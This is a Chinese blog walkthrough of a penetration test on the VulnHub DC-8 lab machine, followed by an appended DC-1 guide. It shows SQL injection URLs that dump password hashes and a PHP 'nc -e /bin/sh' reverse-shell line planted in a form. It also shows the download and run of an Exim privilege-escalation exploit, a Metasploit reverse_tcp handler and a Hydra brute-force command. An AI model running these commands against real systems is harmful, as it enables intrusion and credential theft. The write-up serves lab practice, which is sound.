vulnhub靶机DC-8渗透笔记

本文记录了一次在Vulnhub的DC-8靶机上的渗透测试过程,包括信息收集、SQL注入漏洞利用、密码破解、目录爆破、反弹shell及提权等步骤。通过sqlmap进行数据爆破,使用john破解密码,发现并利用SSH服务尝试登录,最终通过exim4的SUID权限提权,获取root权限。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境准备

靶机环境搭建
攻击渗透机: kali IP地址:192.168.33.139
靶机:DC-8 IP地址未知
靶机下载地址:https://download.vulnhub.com/dc/DC-8.zip

1.信息收集

1.1 主机发现

arp-scan -l   扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)

在这里插入图片描述
扫描发现目标靶机的IP地址为:192.168.33.141
我们还可以使用nmap来进行主机发现

nmap -sP 192.168.33.0/24

在这里插入图片描述
同样扫描到目标靶机IP地址为:192.168.33.141

1.2 端口扫描

扫描到了目标靶机的IP地址,接下来我们就使用nmap来扫描目标靶机开放的端口,服务和版本信息

nmap -T4 -sV -A -O -p- 192.168.33.141

在这里插入图片描述
扫描到,目标靶机开放了22端口(ssh服务),80端口(http服务)

1.3 访问80端口(http服务)

既然目标开放了80端口(http服务),访问看看有无可用信息
在这里插入图片描述
同时,火狐插件Wappalyzer探测到目标网页信息
在这里插入图片描述
点击了一下页面内的链接,疑似存在注入点

http://192.168.33.141/?nid=1

在这里插入图片描述
构造语句,使用 ’ 来验证是否存在SQL注入

http://192.168.33.141/?nid='

在这里插入图片描述
报错!证明存在SQL注入漏洞

2.漏洞利用

2.1 使用sqlmap爆破数据

既然存在SQL注入漏洞,我们就可以构造SQL语句查询我们想要的数据,我这里使用的是火狐插件hackbar,手动构造语句去进行爆破,也可使用sqlmap实现自动化爆破

1.判断注入类型,构造语句
http://192.168.33.141/?nid=1' --+

在这里插入图片描述
出现Error,判断此处注入类型为数字型

2.判断列数,构建语句
http://192.168.33.141/?nid=1 order by 1 --+

在这里插入图片描述
成功显示,再次构建语句:

http://192.168.33.141/?nid=1 order by 2 --+

在这里插入图片描述
报错,说明此时列数为 1

3.爆破数据库名,构建语句
http://192.168.33.141/?nid=-1 union select database() --+

在这里插入图片描述
成功爆破出目标数据库名为:d7db

4.爆破d7db数据库中的所有表名,构建语句
http://192.168.33.141/?nid=-1 union select group_concat(table_name) from information_schema.tables where table_schema=database()   --+

在这里插入图片描述
成功爆破出d7db库中的所有表名,并发现其中有一个users

5.爆破users数据表中的所有字段名
http://192.168.33.141/?nid=-1 union select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'  --+

在这里插入图片描述
成功爆破出users表中的所有字段名,并发现其中有两个 name,pass字段

6.爆破name,pass字段中的所有数据
http://192.168.33.141/?nid=-1 union select group_concat(name,':',pass) from users  --+

在这里插入图片描述
成功爆破出name,pass字段中的所有数据,发现了两个用户和密码

admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

2.2 使用john破解密码

将刚才获取到的用户名和密码密文保存到一个文件中
在这里插入图片描述
用户名有一个john,可能是要john工具爆破密码,这里直接使用john爆破,使用john的默认字典

john john.txt
#这里的john.txt是我上面创建的文件名

在这里插入图片描述
爆出john的密码为:turtle
目标是开启了22端口(ssh服务)了的,尝试进行登录

ssh john@192.168.33.141

在这里插入图片描述
失败了,看来并不是ssh用户和密码

2.3 爆破目录

那我们就扫描一下目标站点,获取后台登陆界面进行登录
在这里插入图片描述

dirb http://192.168.33.141

扫描到目标站点存在反扒文件,访问看看
在这里插入图片描述
在反扒文件不允许中发现了疑似登录界面 /user/login/,继续访问看看
在这里插入图片描述
成功的发现了用户登录界面
在这里插入图片描述
使用刚刚获取到的用户和密码,登录进去
在这里插入图片描述
成功登录!

2.4 写入一句话木马,反弹shell

找写利用点
先点击content,再单击WEBFROMS, 再点击Components,最后点击Form settings
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
修改此页面并写入php反弹shell代码,再更改为PHP code

<?php
system("nc -e /bin/sh 192.168.33.141  9966");  #这里填写的IP地址为kali的IP地址
?>

在这里插入图片描述
最后保存
在这里插入图片描述
在这里插入图片描述
开启监听端口,获取shell

nc -lvp 9966

在这里插入图片描述
在Contact Us页面随便输入信息,然后点击Submit
在这里插入图片描述
在这里插入图片描述
成功反弹到shell
在这里插入图片描述

3.提权

虽然反弹到了shell,但是权限极低
在这里插入图片描述
我们可以使用python切换至交互式shell,这样更有利于操作也更美观

python -c 'import pty;pty.spawn("/bin/bash")'

在这里插入图片描述
使用find命令查找具有suid权限的命令

find / -perm -u=s -type f 2>/dev/null

发现exim4命令,exim是一款在Unix系统上使用的邮件服务,exim4在使用时具有root权限
在这里插入图片描述
去到根目录下,查看exim4当前版本号

exim4 –-version

在这里插入图片描述
使用search查找exim的漏洞攻击脚本
在这里插入图片描述
找到46996.sh脚本文件,将46996.sh拷贝到本地并改名为shell.sh

cp /usr/share/exploitdb/exploits/linux/local/46996.sh 1.sh
#文件拷贝的位置为kali的当前路径

在这里插入图片描述
在这里插入图片描述
在kali开启http服务
python2内置了一个简单的HTTP服务器,只需要在命令行下面敲一行命令,一个HTTP服务器就搭建起来了

python -m SimpleHTTPServer 9966
# 9966为端口,可以指定为其他未被使用的端口

python3 python2中的SimpleHTTPServer模块已合并到Python 3中,当将源转换为Python 3的http.server

python -m http.server 9966
# http.server python模块- HTTP服务器
9966为端口,可以指定为其他未被使用的端口

在靶机上将getShell.sh脚本文件下载到靶机本地,并给脚本赋予执行权限

wget http://192.168.33.139:9988/1.sh

在这里插入图片描述
部分目录无法进行下载,猜测是权限不够,转换到/tmp目录下执行命令即可成功

chmod 777 1.sh

根据脚本提示,执行脚本文件并添加命令参数,执行后获取到root权限

./1.sh -m netcat

但是却报错了
在这里插入图片描述
百度了一下才知道,必须先得使使windows的代码可以在unix上运行才行
再次回到kali,对漏洞利用文件进行修改
在这里插入图片描述
输入 : set ff=unix
在这里插入图片描述
保存退出,再次下载文件到靶机中,重新赋予权限,再次使用命令执行

./1.sh -m netcat

即可成功获得目标靶机root权限
在这里插入图片描述
查看flag.txt文件,成功拿取到flag
在这里插入图片描述
拿到了root权限,那目标靶机就已经完全被你攻破了

4.总结

1.为什么必须要使用set ff=unix才可执行漏洞利用文件?
2.手动进行SQL爆破开始不太熟练,语句不是很清楚

最近一直在学习,但是学习的东西很多很杂,于是便把自己的学习成果记录下来,便利自己,帮助他人。希望本篇文章能对你有所帮助,有错误的地方,欢迎指出!!!喜欢的话,不要忘记点赞哦!!!

### VulnHub DC-1 靶机 攻略 介绍 下载 #### 关于DC-1靶机 VulnHub上的DC-1靶机旨在提供给安全爱好者和渗透测试学习者一个实践平台,在此环境中可以合法地进行各种攻击尝试,从而提升技能。该虚拟环境模拟了一个存在多个已知漏洞的服务网络应用,允许参与者通过一系列挑战来获取系统的控制权并最终找到隐藏的标志文件(flag)[^1]。 #### 获取与安装 为了开始体验DC-1靶机的任务,首先需要访问[VulnHub官方网站](https://www.vulnhub.com/)搜索栏输入“DC-1”,点击进入详情页面下载对应的镜像文件(OVA格式),之后按照提示导入到支持OVA标准的虚拟化工具如VirtualBox或VMware Workstation Pro中完成部署工作[^3]。 #### 初始配置建议 启动后的DC-1默认会分配一个私有IP地址(例如:`192.168.x.x`),此时应该确保Kali Linux作为攻击端能够与其在同一局域网内通信正常;可以通过ping命令验证连通性状况良好后再继续后续操作。 #### 基础信息搜集阶 当确认双方设备间通讯无碍后便进入了实际演练环节——即从基础的信息收集做起。这一步骤通常涉及使用Nmap扫描开放端口和服务版本探测等手以了解目标主机概况: ```bash nmap -A <target-ip> ``` 上述指令将会返回有关远程服务器运行状态的关键情报,为下一步制定针对性策略奠定坚实的基础。 #### 进阶探索与利用路径 随着对DC-1认识程度加深,接下来便是寻找潜在的安全缺陷加以利用的过程。根据已有经验分享可知,成功建立Meterpreter回话意味着已经突破了初步防线,获得了更深层次的操作权限: ```ruby use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost <local-ip> # Kali IP address exploit ``` 以上Metasploit框架下的设置可帮助快速搭建监听服务等待来自受害者的连接请求,一旦形成稳定的交互通道即可执行更多高级功能比如浏览目录结构直至定位至预设的目标文件位置。 #### 密码破解辅助技巧 考虑到可能存在弱密码保护的情况,采用Hydra这样的暴力猜解程序配合常用用户名列表以及大型词库资源不失为一种高效的方法去揭示真实的身份凭证组合关系[^4]: ```bash hydra -L /usr/share/wordlists/user.txt -P /usr/share/wordlists/rockyou.txt.gz ftp://<target-ip> ``` 这里展示了针对FTP协议实施登录认证绕过的实例,当然具体应用场景还需视实际情况灵活调整参数选项。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值